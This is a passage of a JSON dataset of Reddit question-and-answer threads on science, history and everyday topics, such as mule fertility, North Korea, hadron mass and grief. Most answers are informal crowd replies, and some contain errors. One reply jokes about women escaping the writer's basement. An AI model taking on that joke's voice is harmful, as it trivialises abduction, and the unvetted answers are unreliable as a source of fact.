mule is the result of the creation of a new species... horses and donkeys share a common ancestor, they split and they are two distinct species now BECAUSE they produce mules when they try to breed.", "Mule fertility has *less to do with number of chromosomes* and more to do with *lack of chromosome homology (similarity)*. \n\nEach mule has 32 horse chromosomes and 31 donkey chromosomes. 31 pairs and one extra. But each pair doesn't match very well, and this is the bigger problem (not the number of chromosomes).\n\nGametes (sperm and egg) are created through meiosis. In meiosis each pair of chromosomes must form a pair (called synapsis) in order to assort correctly into the second part of meiosis. The horse chromosome and donkey chromosome, who are supposed to be a pair, don't match up well. This causes the gametes to be \"unbalanced\" (or to not contain the proper amount of genome/genes). These gametes are infertile (and most of the time aren't even really gametes at all).\n\nEach cell undergoing meiosis will become 4 haploid (meaning only having half the genome) cells called gametes (if everything went right). When there is an extra chromosome it is copied like the rest, but because it has no homologous (or paired) chromosome they can only assort to 2 of the gametes. So you will have 2 gametes with 31 chromosomes and 2 gametes with 32. \n\nThis is not much of an issue. With have the sperm and eggs having 31 chromosomes and half having 32, you merely need to get a good combination. If you recall, this is how a mule is made originally, with a horse egg with 32 chromosomes and a mule sperm with 31 chromosomes. \n\nSo we see it is chromosome homology that is the problem here, and the extra chromosome is a minor problem.\n\nInteresting examples:\n#1\nThose with Downs syndrome (\"Trisomy 21\" or three #21 chromosomes instead of the normal pair of 2) can have children without downs syndrome. Even when both parents have Downs. This is because the extra #21 Chromosomes will only assort into half of the gametes (sperm and egg). Those with Downs often have a hard time conceiving (because of issues associated with the syndrome), but they have a good chance of having a child without Downs if they do have a child.\n\n#2\nThose with Robertsonian translocation have two different chromosomes fused together. The normal human has 23 pairs of chromosomes, but they have 22 pairs and one extra (that is really 2 put together that match with 2 normal chromosomes). They are usually completely normal, but half their gametes will carry the fused chromosomes (the other half are normal). Some children of two parents with the same Robertsonian translocation can inherit both fused chromosomes and only have 22 pairs of chromosomes, but are usually completely normal.\n\nSo we see, having an extra chromosome at worse can make half your gametes nonviable. The mule is sterile (most of the time) because of chromosome homology (similarity) between pairs of chromosomes.", "You are asking a loaded question. In order for anyone to give you a proper answer. You need to establish what you mean by 'species'. After all, there are several competing definitions within the field of biology. ", "nature will find a way :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Savannah_(cat)"], ["http://news.nationalgeographic.com/news/2005/07/0727_050727_evolution.html"], [], [], [], [], [], []]}
{"q_id": "3fwudg", "title": "how do all those horror stories from north korea, like \"turtle farmer executed because he did not take good care of the turtles\" get leaked? wouldn't giving this information to a western journalist mean certain death?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3fwudg/eli5_how_do_all_those_horror_stories_from_north/", "answers": {"a_id": ["ctsofbk", "ctsonqr", "ctsp708", "ctsqt2x", "ctsr2fu", "ctsuztx"], "score": [6, 9, 69, 6, 2, 3], "text": ["ELI5: Many of these stories come from Anon. Y. Mous. (anonymous) sources (either from people inside the country or escaped nationals) as well as foreigners visiting the country. North Korea only really has major beef with the U.S.A and it's allies so say a visiting Chinese national wouldn't have the same difficulty in witnessing/reporting these stories. It's also possible that these very reports (some of them) come from official North Korean sources (aka their newspaper) and someone else is relaying these messages to us", "There are people who manage to escape North Korea every so often. If they escape directly to South Korea (quite rare and difficult), then they're usually safe and granted asylum. If they escape through China though, they usually then have to secretly make their way through China to a neighboring country (such as South Korea) that will provide them with asylum.\n\nDespite how difficult it is to escape (just getting near the border is difficult as North Korea has rigged their side of the border with mines/explosives and various other hazards), people do occasionally manage to escape and tell their full life story, eventually without fear of being executed.\n\nThat's where a lot of the information comes from since journalists have extremely limited access to the country and are always accompanied by minders (government officials) wherever they go when they do gain access.\n\nAlso, the North Korean government doesn't really have a problem making an example of people for wrongdoings (or what they consider wrongdoings), so a lot of stories like \"X was executed because of Y\" are probably published in North Korean newspapers/media (to act as a deterrent of crime/disobedience and a show of power/authority) and the North Korean government may even voluntarily make that information public outside the country.", "Keep in mind also that some of the more sensational news stories often come from South Korean sources, which may not be the most objective in the world regarding North Korea. Some of it may be propaganda. \n\nFor instance, there was a widely circulated story that Kim Jong Un's former girlfriend was executed for engaging in pornography. However, she appeared on TV several months later. ", "Something to consider is why you have the idea of North Korea as a place that would ever kill a western journalist for leaking that kind of turtle story.  The horror stories you hear inform the kind of negative opinion of North Korea that you are expressing here, so what happens when you learn that the horror stories aren't true?  Do you change your opinion now that the facts are different, or do you keep your opinion and continue to ignore the facts?  This is the bet that news outlets and blogs make against their readers, that their readers are more invested in their own personal credibility than the credibility of the facts. So they ignore the facts.  That's how propaganda works and when you find a news outlet publishing these kinds of fishy stories what that tells you for sure is THAT news outlet is a mouthpiece for propaganda.  This applies to any news outlet, those from North Korea and those from USA or anywhere in the world.  Nowadays, even a five-year-old has to take off the rose colored glasses and read the news with some sophistication.\n\n_URL_3_\n\n_URL_4_\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_", "It makes you think of all the stories (and there must be a lot of them) that are crazy like this and haven't been leaked out, or may NEVER be leaked out. Also there are a lot of people in North Korea. They can't watch every single one of them. ", "**Media** that is generated from *North Korea* is very weird slope to tackle. For starters, North Koreans (*ordinary citizens*) have no access to the internet, so you won't see an eyewitness account of the execution of the Turtle Farmer (saying this, executions are usually done in public, but do regularly occur in private if high ranked officials). Now if they did and somehow posted about it, most likely they themselves would be shot on sight, (along with three generations of their family most of the time). Saying this, you won't see computers or two-way ham radios, but you may find some households contain radios or television sets that can pick up **South Korean Soap Operas** (yes, [soap operas](_URL_0_) ) more closer to the **Demilitarized Zone**, or *South Korean border*. These objects are *illegally* imported in, brought over by [balloons](_URL_1_) by South Korean sympathizers, or brought in by foreign tourists (this being the hardest to do, story for another day). Once over the border, great caution is used to hide these objects because if found, punishment may include sent to a reeducation camp or death of not only you, but **3** generations of your family.\n\nGoing back to the original point, *North Korean* defects do reveal what the North Korean regime **choose** to feed to their citizens. In this example you mentioned (for example), the **DPRK** government stated that farmers were executed by officials due to the *glorious leader* **Kim Jong-Un's** disapproval of the size, shape, color, and health of the turtles that were shown to him. This statement shared to the NK people would try to persuade the citizens to obey the regime, or seek further punishment. Now not all the time would this information be accurate or true. \n\nNews from both sides of the world (the *United States* and *South Korea*, compared to *North Korea*) may be subjected to pure **propaganda**. What we see from North Korea is mainly told by refugees who make it across into China or South Korea. What they say may be more true than what the North Korean government release to the outside world, but it was still heard from the mouth piece of a North Korean official originally. This along with the fact that the United States and South Korea **may** be exaggerating what happens inside North Korea as a way to propagate their human rights violations and to increase sanctions onto an economy already shattered through abuse by what the regime does to it. This stated, truth is, we don't know what is really **100%** going on in North Korea. Yes we can take tours of facilities, but the tours are strictly mapped by the NK regime in order to try to persuade popular public opinion to favor North Korea.\n\nNow onto your example about western journalist being put to death, they have to be inside North Korea in order for the regime to do much (now there are spies in neighboring countries, including inside the United States, that do run smooth operations.... but that too is another story). what would happen is lets say a VICE journalist is allowed 1 week inside North Korea. This visitation would be heavily restricted in order for the VICE correspondent to not see real citizens. The journalist knows this and will keep their mouth shut for 3 main reasons. They want to live, stay, and comeback hopefully; in that order. Now after the VICE journalist leaves, he can say or report anything. But if he said anything that hurts the regime, he will not be allowed back in.\n\nHope this helped.\n\nPS: I probably said some things wrong; but if I did, tell me before I'm shot like the **turtle farmer/ western media pig-of-a capitalist** that I am.\n\nEDIT: Numerous typos"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.salon.com/2012/12/20/5_best_fake_news_stories_of_the_year/", "http://sports.yahoo.com/blogs/soccer-dirty-tackle/fake-north-korean-news-report-shows-world-cup-triumphs-over-japan--u-s--and-china-203939872.html", "https://en.wikipedia.org/wiki/Media_coverage_of_North_Korea", "http://www.theguardian.com/books/2015/jun/01/true-or-false-kooky-north-korea-stories", "http://www.aljazeera.com/indepth/opinion/2015/05/crazy-news-north-korea-150514124418400.html"], [], ["http://www.nytimes.com/2015/01/25/world/north-koreas-forbidden-love-smuggled-illegal-soap-operas.html?_r=0", "http://www.cnn.com/2015/04/07/asia/north-korea-interview-balloons/"]]}
{"q_id": "14sj0d", "title": "What is the relationship of the modern Muslim Brotherhood with the thought of Sayyid Qutb and/or Hassan al-Banna, and how has this changed over time?", "selftext": "I'm particularly interested in how you might conceive of the relationship between a group's ideology and historical context (ie do you take pivotal events, ideological evolution, broader contextual shifts).\n\nI'd also like to see if you think there are affinities with Hourani's thesis in *Arabic Thought in the Liberal Age* -- do you think Qutb's ijtihad is more influenced by European liberal thought in his hermeneutic approach than he would have cared to admit? How about al-Banna?\n\nWhat (or who) do you think are the major factors that separate al-Ikhwan today from its past, and what (or who) do you think brought this about?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14sj0d/what_is_the_relationship_of_the_modern_muslim/", "answers": {"a_id": ["c7gfvi2"], "score": [3], "text": ["OP, it's the best question I've ever encountered on this sub-reddit. Unfortunately it's not my field but I've read a bit about Qutb and Maududi (I know he's not from MB [as I recall Qutb also was never a member of this organization] but a founder of Jamaat-i-Islami, however I think that we can add other fundamentalists to the discussion) and attended to a 30h lecture about Jihad so I'd like to write a word or two.\n\nI think that a visible shift in Muslim Brotherhood's actions is a result of more pragmatic stance of its leaders. They know that the only way to enforce ideas of Qutb and al-Banna is through controlling the society, legal measures and governing. They cannot be too radical or hasty - tourism is one of the most important parts of egyptian economy, they are also aware that the risk of foreign intervention would rise if they were too radical or meddled with Israeli issues too much.\n\nI think that nowadays people like Y\u016bsuf al-Qar\u1e0d\u0101w\u012b are even more influential than old thinkers and scholars like Maududi or Qutb. And his policy seems to be widely accepted among lots of islamic leaders.\n\nAlso, if you could share your opinions with us, it would be awesome. I'm really interested in this topic but I don't have time to do research on my own."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6aa7c6", "title": "how do scientists discern galaxies from image noise when looking at pictures taken from telescopes?", "selftext": "Since many pictures of space are very high resolution, how would a scientist know whether a pixel is a galaxy or a star rather than just image noise from sun's or a closer star's radiation?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6aa7c6/eli5_how_do_scientists_discern_galaxies_from/", "answers": {"a_id": ["dhcyh0q"], "score": [7], "text": ["They gather light for a long time.  Image noise will average out; real light will accumulate. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1k6tu1", "title": "What is shown inside this glass (translucent) frog?", "selftext": "[Here](_URL_0_) is the picture of the frog in question. As you can see, there are white circles, green circles, and some beige circles mixed in. Does anyone have any idea as to what these are?\n\nI assume the white circles are eggs, but I'm not sure. I don't know about the rest. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k6tu1/what_is_shown_inside_this_glass_translucent_frog/", "answers": {"a_id": ["cbm1xvb"], "score": [6], "text": ["The white is definitely its lungs. The green is its intestines. The red swirles are the top part of the heart, most likely the aortic arch. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/Txu5WUt.jpg"], "answers_urls": [[]]}
{"q_id": "80tl79", "title": "why is blood slippery (like soap) when you wash it off, but otherwise sticky like glue?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/80tl79/eli5_why_is_blood_slippery_like_soap_when_you/", "answers": {"a_id": ["duy6avg", "duy7u65", "duz1mwh", "duzonq6"], "score": [143, 16, 2, 3], "text": ["Platelets in blood causes it to be sticky when dried on your skin. They pile together to close off open wounds and give the bleeding area a temporary gelatinous shield from foreign contaminants. Your platelets also work underwater, thickening and sticking to your skin. A bar of soap does a similar thing, sticking to your skin and slowly rinses off with more water. ", "It's been a while since my last fluid mechanics course, but I looked it up and it appears blood is actually shear-thinning. This means that the more shearing (ie parallel to its surface) force applied to it, the \"liquider\" it becomes. This occurs because of the complex composition  &  proteins in blood. When you wash, the rubbing motion makes it thinner and thus it is easier to have it slide off. When you don't touch it, it's thicker - imagine blood dripping down the side of something, it moves very slowly because it is more viscous. \n\nTo explain shear thinning probably better than I can see:  _URL_0_\n\nSource for blood being shear thinning: _URL_1_\n\nEdit: I'm a nurse that dropped out of a chemical engineering program and I'm super satisfied when my areas of knowledge overlap :)\n\n", " Wouldn't it be crazy if in a coupe years we find out that OP is some serial killer brazenly asking questions like this randomly.. ", "I don't know but it's the main reason why women escape my grip when they break out of my basement."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Shear_thinning", "https://arxiv.org/abs/1608.03730"], [], []]}
{"q_id": "7lxhvy", "title": "how cold does it get in a man-made vacuum chamber?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7lxhvy/eli5_how_cold_does_it_get_in_a_manmade_vacuum/", "answers": {"a_id": ["drpr236", "drpuget"], "score": [13, 7], "text": ["That depends on the temperature needed.  Vacuum isn't cold, in and of itself.  The small amount of gas in a vacuum chamber can have whatever temperature you want and radiation can be used to warm up any other objects inside.", "Vacuum doesn't have a temperature. Objects in a vacuum could be hot or cold. Overheating is even potentially an issue in something like circuitry because vacuum functions as an insulator. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18wb5z", "title": "If I had a pressure cooker that could raise the boiling point of water above 300 degrees F, could I fry food in water?", "selftext": "Caramelization of sugars and the maillard reaction, responsible for the browning and crisping of food, is associated with temperatures in excess of ~300 degrees F.  Since water at atmospheric pressure boils at ~212 degrees, caramelization and the maillard reaction don't occur and the food gets neither brown nor crispy.\n\nBut what if I had a pressure cooker that could raise the boiling point of water above the requisite temperature?  Would it get brown and crispy, effectively frying it?  Or would something else (likely unpleasant) happen, such as the food getting brown but waterlogged/soggy?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18wb5z/if_i_had_a_pressure_cooker_that_could_raise_the/", "answers": {"a_id": ["c8ijxb4", "c8ilhht", "c8ipi8t", "c8j1iew", "c8j42nk"], "score": [616, 134, 18, 3, 3], "text": ["The Maillard reactions are affected by moisture content, so using water as a cooking medium, regardless of temperature, will prevent them from occurring. And since the pressure you're positing would prevent the water in the food from escaping as steam, you won't get a crispy texture either.", "Frying is not the same as boiling, regardless of temperature. Frying is largely selective dehydration, and you can't dehydrate things in water.", "What would happen if you used supercritical CO2 or some other non-toxic, non-polar substance in the right temperature range? Would the food be browned but completely dried out?", "Deep fat frying is a dry cooking method. Water is never dry.", "There's actually a product by Phillips that uses air instead of oil to fry food, called the Airfryer. It's actually able to gain some degree of caramelization, but not as well as using oil"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "wcbhg", "title": "Why does Minnesota have that little nub that's in Canada?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/wcbhg/why_does_minnesota_have_that_little_nub_thats_in/", "answers": {"a_id": ["c5c46vn", "c5c5vex", "c5c8e5b"], "score": [14, 5, 2], "text": ["Mark  Stein  wrote  a  book  \"How  the  States  got  their  shapes\"  that  details  how  the  northern  border  of  Minnesota  was  fixed  by  a  treaty  with  Great  Britain  in  1818.  I  forget  the  details,  but  the  treaty  moved  the  border  further  north  than  where  the  British  thought  it  should  be.  They  did  not  want  to  fight  a  war  over  it,  and  got  some  concessions  from  the  US  to  make  that  border  adjustment  more  paltiable.  They  had  no  idea  that  the  reletively  small  area  they  ceded  to  the  USA  had  four  very  rich  iron  ore  ranges.  ", "Here's an article from *The Walrus* (a magazine that I recommend to anyone interested in Canada... anyone?): _URL_0_", "Reference also: [Point Roberts, WA](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://walrusmagazine.com/printerFriendly.php?ref=2011.01-history-the-lost-canadians"], ["http://en.wikipedia.org/wiki/Point_Roberts,_Washington"]]}
{"q_id": "6gm9gb", "title": "how did \"throat\" languages like arabic  &  german originate? why the hard way to communicate ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6gm9gb/eli5_how_did_throat_languages_like_arabic_german/", "answers": {"a_id": ["dirca3m", "direa26", "dirixbo"], "score": [13, 7, 3], "text": ["Guttural sounds (the German 'r' and 'she sounds, for example) are not in and of themselves particularly difficult to make. It's just that English doesn't have them, so you never learned them as a baby.", "Well your question doesn't make much sense but I will try to explain.\n\nGerman and Arabic are not \"throat\" languages, what you might hear as \"throaty\" sounds in German are for example the [x] (a velar fricative) or the [r] (an uvular trill). English has velar and glottal consonants of its own, like h, k, g and ng for example but you don't perceive them as \"guttural\" because they appear in your native language. To a native speaker the \"throaty\" consonants are no more difficult to pronounce than the [\u03b8] and [\u00f0] (that is \"th\" sounds) are to you.\n\nGerman and English are actually closely related and you can see that in many cognate words. The German [x] and [\u00e7] (the \"ch\" sounds) are often found as \"gh\" in English cognates:\n\nlachen - laugh\n\ndachte - thought\n\ndurch - through \n\ndoch - though\n\nNacht - night\n\nnach - nigh\n\nKnecht - knight\n\nLicht - light\n\nMacht - might\n\nWicht - wight\n\nRecht - right\n\nThis \"gh\" was originally pronounced similiar to the German consonants, but the pronounciation changed in the last 500 years.\n\nEDIT: Have some reconstructed Old English (more than 1000 years ago) pronounciation: _URL_0_\n\ntl;dr Those languages aren't more \"throat\" than English or harder to pronounce, they just sound weird to you because you are not a native speaker. English and German are closly related and English once had similiar consonants.", "well with german you probably think of the R sound\n\nwell besides from the point that if you train it it isnt hard to pronounce, the guttural R (The Hitler R) is only used in southern variants of german, most people who speak a northern variant are unable to pronounce it, i needed several months to learn it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.youtube.com/watch?v=RLJGTYkEKLI"], []]}
{"q_id": "4aaezo", "title": "How has the historiography of Grant's presidency changed?", "selftext": "As far as I understand, Grant was seen as an ineffective president, but now historians are looking back in a better light. Is this true? How has the historical consensus of the Grant administration changed over the years?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4aaezo/how_has_the_historiography_of_grants_presidency/", "answers": {"a_id": ["d0z0bn5"], "score": [22], "text": ["Great question, friend! While I'll probably be able to say more once my copy of Eric Foner's *Reconstruction* comes in, I can talk a little bit about him now. Check out this book:\n\nMax J. Skidmore, *Presidential Performance: A Comprehensive Review* (McFarland  &  Company, 2004), 150-154.\n\nA direct passage from Skidmore\u2019s work should solidly answer your question: \n\n > \u201cAs Grant Biography Smith has noted, \u2018Lee as the exemplar of slave-owning aristocracy was romanticized by three generations of Southern historians,\u2019 while Grant\u2019s reputation suffered under \u2018this same school of historiography which really dominated American thought through World War II.\u2019\u2026Reconsideration of Grant is now well underway. Brooks D. Simpson has pointed out that none of the historians who have been so critical have been able \u2018to suggest how he could have forged a policy that would have achieved both sectional reconciliation and justice for black Americans,\u2019 in view of the conditions existing at the time and the obstacle presented by the courts.\u201d\n\nSo, as you might be able to discern by implication, the rise and fall of pro-Southern sentiment and racism among historians had a lot to do with the fortunes of Grant\u2019s reputation as President. Earlier in the 20th century (particularly with the \u201cDunning School\u201d of historiography), many historians considered Reconstruction a failure and any attempt to give blacks more political rights to be misguided, so they highlighted corruption in Grant\u2019s administration while refusing to give him credit for what he tried to do in regards to civil rights. For a little more insight, this excellent book review by Eric Foner might also help you:\n\n_URL_0_\n\n > Few American presidents have seen their reputations ebb and flow as dramatically as Ulysses S. Grant. At the time of his death in 1885, he was revered as the man whose military prowess had saved the Union and who as president had guided it through the turbulent years of Reconstruction. Later, as national reconciliation (among whites) took hold, Grant\u2019s military and political careers came under severe criticism. On the battlefield he was a \u201cbutcher\u201d who, in contrast to the tactically superior Robert E. Lee, triumphed only because of a willingness to sacrifice his men in an endless war of attrition. Grant\u2019s presidency came to be seen as a failure, marred by corruption and a Southern policy that unwisely sought to elevate blacks to political equality\u2026More recently, Grant\u2019s standing has risen sharply. Military historians have made clear that Grant understood far better than Lee the strategic interconnection of the western and eastern war theaters. And as scholars have revised their view of Reconstruction, seeing it as a noble if flawed attempt to establish interracial democracy in the postwar South, Grant\u2019s efforts to protect the basic rights of former slaves seem praiseworthy, not misguided.\n\nThe story is yet more complex, though. Give this essay in JSTOR a look: \n\n_URL_1_\n\nEthan S. Rafuse, \u201cStill a Mystery? General Grant and the Historians, 1981-2006\u201d in The Journal of Military History,Vol. 71, No. 3 (Jul., 2007), pp. 849-874\n\nWhile this article focuses on Grant\u2019s military career primarily, it also mentions perception of his presidency as well. It notes that after World War II, historians like Bruce Catton were rehabilitating him as both a general and a politician, but in 1981, McFeely\u2019s biography of the man was more critical on both fronts. Rafuse believes this may have been because McFeely, coming of age after Viet Nam, was leerier of war in general and thus more critical of a man who had shed so much blood during the Civil War. In the late 90s and early 2000s, historians would begin to write more positive appraisals of Grant\u2019s generalship and presidency, such as Jean Edward Smith\u2019s massive biography. As the 21st century marches on, this boost of reputation seems to show no sign of stopping, as this review of a book by Joan Waugh seems to indicate (Waugh\u2019s 2009 book praises Grant\u2019s efforts to support the Union cause):\n\n_URL_2_\n\nHope all this helps! :D\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.washingtonpost.com/opinions/the-man-who-saved-the-union-ulysses-grant-in-war-and-peace-by-h-w-brands/2012/11/02/154ae6e0-fe79-11e1-8adc-499661afe377_story.html", "http://www.jstor.org/stable/pdf/30052892.pdf", "http://www.jstor.org/stable/pdf/23016386.pdf"]]}
{"q_id": "gti20", "title": "Why do Chemists mL instead of ml", "selftext": "Ok here is the thing, when I was in my first year of Chemistry most of my Profs. told us to use mL instead of ml for volume and as a whole just us L for volume, I just did what I was told and I do it still. \nNow fast forward to today, I work at a place were there are not many Chemists so I am always bombarded with the question of why I use mL instead of ml, I think it is to better differentiate mL from mol but I would appreciate if someone knows it for a fact.   ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/gti20/why_do_chemists_ml_instead_of_ml/", "answers": {"a_id": ["c1q6ffh", "c1q6ft2", "c1q6j2f", "c1q6khl", "c1q8y1t"], "score": [8, 2, 3, 44, 2], "text": ["It's a 'style' thing, right?  I think it even differs between journals (you can check their 'style guides').  For example, ACS uses mL.\n\nI prefer mL, as well.  Do your coworkers write 'liters' as L or l?", "I'm pretty sure both are acceptable since I've seen both lower case and upper case L's for liters, but I haven't really paid attention since this isn't that big a deal to me, and ml is still clearly different from mol. \n\nEdit: [Wikipedia](_URL_0_) says both are acceptable, with lowercase l being the original symbol and still the one used in most countries, with the uppercase L being a recent recommendation that is used in the US, Canada and Australia.", "It's to prevent possible confusion with I (capital \"eye\") or 1 (one), as others have already said. The \"official\" symbol is l (lower-case \"el\"), but as the litre is not an official SI unit (the cubic metre is the SI unit of volume), it is probably better to use L where there is scope for ambiguity.\n", "The capitals used in SI units follow the general rules as below:\n\n+ Symbols are case-sensitive and must be written as they are defined.\n\n+ There is a tradition in the metric system that the first (or only) letter of an unprefixed unit symbol is capitalized if (and only if) the unit's name comes from a proper name. Thus W is the symbol for the watt and A is the symbol for the ampere, because these units are named for scientists.\n+ It makes a big difference whether a symbol is capitalized or not, because often the same letter represents different units: t stands for the tonne and T for the tesla, for example.\n+ *There is one loophole in the rule on capitalization: it's acceptable to use the symbol L instead of l for the liter, since the letter l is so easily confused with the number 1.*\n+ The case of symbol prefixes is specified, upper and lower, and must not be changed. For example, the symbol for kilo- is k-, so kW and not KW is the symbol for the kilowatt.\n\nSee [this link for further details](_URL_0_) if you want to know the rest.", "I was always under the impression that L is the symbol for liters. m, \u03bc, n, etc. are just prefixes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Litre#Symbol"], [], ["http://www.unc.edu/~rowlett/units/symbol.html"], []]}
{"q_id": "1ofuhq", "title": "What happens to the extra mass of hadrons when they deconfine into their constituent quarks?", "selftext": "A proton (uud valance quarks) has a mass of ~ 900 Mev. In high energy beam collisions, when quarks deconfine and become free, the bare quark mass is ~5 Mev. What happens to the rest of the mass/energy of the proton when the quarks become deconfined? Is this released into the subsequent post collision medium? and if so in what form (gluons or quarks or something else)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ofuhq/what_happens_to_the_extra_mass_of_hadrons_when/", "answers": {"a_id": ["ccrkytg", "ccrl6yu", "ccroxvp", "ccrpogo", "ccrw9cl"], "score": [2, 3, 2, 3, 3], "text": ["First, it needs energy to break a proton, so you're bringing some energy in addition to the GeV you have. Then, this all package get spread between additional quarks, some gluons and kinetic energy for everyone.", "All of the components tend to be moving very fast. Broken strong material also produces \"jets\" where pairs of quarks emerge as the original quarks are separated.", "The strong force doesn't follow the 1/r^2 law of gravitation and electrodynamics. Instead, it increases the energy of quarks upon separation. At some point the energy will be large enough to create a new quark-antiquark pair to form new bound states. [Also, see this](_URL_0_)", " >   In high energy beam collisions, when quarks deconfine and become free, the bare quark mass is ~5 Mev. \n\nNo they don't. The quarks are always confined. The bulk of the mass/energy of baryons are in the gluon field that binds them. \n\n", "In a typical proton-proton hard inelastic collision, the quarks do not deconfine. \n\nThe hard scattered quarks (or gluons) are still \"connected\" to the outgoing remnants of the protons, often called \"wounded nucleons\".\n\nThe process of how these components ultimately result in sprays of hadrons is called fragmentation and has yet to be predicted by any approximate solution of the equations of quantum chromodynamics (QCD). \n\nThere are various empirical models of this process that have had some success, and you can visualize the outgoing scattered quarks and wounded nucleons as being connected by \"color flux tubes\" that stretch and break resulting in quark-antiquark pairs, which coalesce to form sprays of protons, neutrons, pions, kaons, and other hadrons. These sprays produced by the scattered quarks are called the 'jets' and are fairly collimated into a narrow cone if the momentum transfer is large enough.\n\nThere is also a spray of particles accompanying what were the \"wounded nucleons\" nearly parallel to the beamline.\n\nWhere does the mass go? Mass is not conserved in these collisions. In fact, if you take a really really hard collision at a high center of mass energy, the total mass of all the particles produced in the jets is often much greater than that of the two incoming protons.\n\n\nIn collisions between large nuclei, such as gold or lead, it is believed that a somewhat deconfined  medium of quarks and gluons is created, although this medium has turned out to be much more strongly interacting than was generally predicted. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Asymptotic_freedom"], [], []]}
{"q_id": "1uzcsw", "title": "what is a scientific explanation for \"the hum\" phenomena that the low-frequency, unexplainable noise that is heard throughout the world?", "selftext": "What are some plausible theories?\n\nWikipedia Article: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1uzcsw/eli5_what_is_a_scientific_explanation_for_the_hum/", "answers": {"a_id": ["cen5djv"], "score": [5], "text": [" > What is a scientific **explanation** for \"The Hum\" phenomena that the low-frequency, **unexplainable** noise that is heard throughout the world?\n\nYou just answered your own question.  There is currently no explanation."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/The_Hum"], "answers_urls": [[]]}
{"q_id": "30hb87", "title": "Are there any examples of cultures and societies throughout history where the poorest classes had (relatively speaking to that timeframe) a good standard of living and representative role in society?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30hb87/are_there_any_examples_of_cultures_and_societies/", "answers": {"a_id": ["cpsexea"], "score": [2], "text": ["Are you including slaves in this? I'm going to ignore slaves. \n\nSo... ancient Athens? I won't argue that their lives were particularly grand, but as you say, relative to timeframe, they're pretty decent.\n\nFollowing the reforms of Ephrialtes and Pericles (460s-450sBC onwards), the thetes of Athens had it pretty good, being able to get a comfortable living wage from serving in public offices and things like serving in the navy. They, of course, also had the right to vote in the legislature, and could elect members of office such as the strategos, at least for their own tribe.\n\nThe wages were possible largely due to the tariffs of Athens as an important trading port and their hegemony over the Delian league, the member-states of which paid a yearly fee.\n\nAs for why their quality of life was pretty good? Thetes were the rowers of the Athenian navy. The navy was absolutely central to Athenian military, social and political policy. When people are that important to your society, you can't afford to treat them like trash.\n\nSources: Plutarch's Lives (Pericles), Terry Buckley's Aspects of Greek History, Thucydides, probably stuff I'm forgetting, I haven't engaged in this content directly for some time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cfgs0m", "title": "why is grieving so exhausting?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cfgs0m/eli5_why_is_grieving_so_exhausting/", "answers": {"a_id": ["eu9y1mm", "eua2lza", "eua4sld", "euaz7qg", "euaztkh"], "score": [137, 31, 8, 2, 3], "text": ["Hey, I'm grieving too. I'm not a scientist, but I can share a little bit of what I know as a mental health professional. \n\nGrief can mess with our mood-related hormones. It can reduce serotonin levels (which help with energy), and increase our cortisol levels (which can zap energy with they're consistently high). \n\nAdditionally, the brain sort of \"defragments\" itself while we sleep, like a computer. It processes, prioritizes, and consolidates information- including our emotions. Some studies suggest that people with high anxiety need more sleep because of this. (I am NOT stating that as a fact, just as a suggestion.) But if it's true, then it makes more sense that grieving would require additional time to \"defrag\" (i.e. sleep) as well. \n\nOther studies show that we literally *phsically hurt* when we're in emotional pain. That's taxing on the body, even if it's not a truly physical injury, and addressing that takes additional energy. \n\nI hope you're taking care of yourself, and I hope someone else can give you a more scientific response. HUG.", "Your brain makes no distinction between physical and emotional pain. Pain is stress. Stress makes you tired. Healing needs rest.", "I don\u2019t have an answer but I wanted to say that I hope you\u2019re okay and you can do it. Much love", "I guess it's because your body is focused more on negative emotions and that's why it feels so draining because all you're thinking and feeling is about your loss. I hope you're doing okay man and get through whatever you're dealing right now with ease.", "My grieving, when at it's worst, is usually a bit of screaming/bawling followed by exhausted silence where I just don't feel anything for a few minutes. I just want to fall asleep. That repeats until I can pull myself together."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
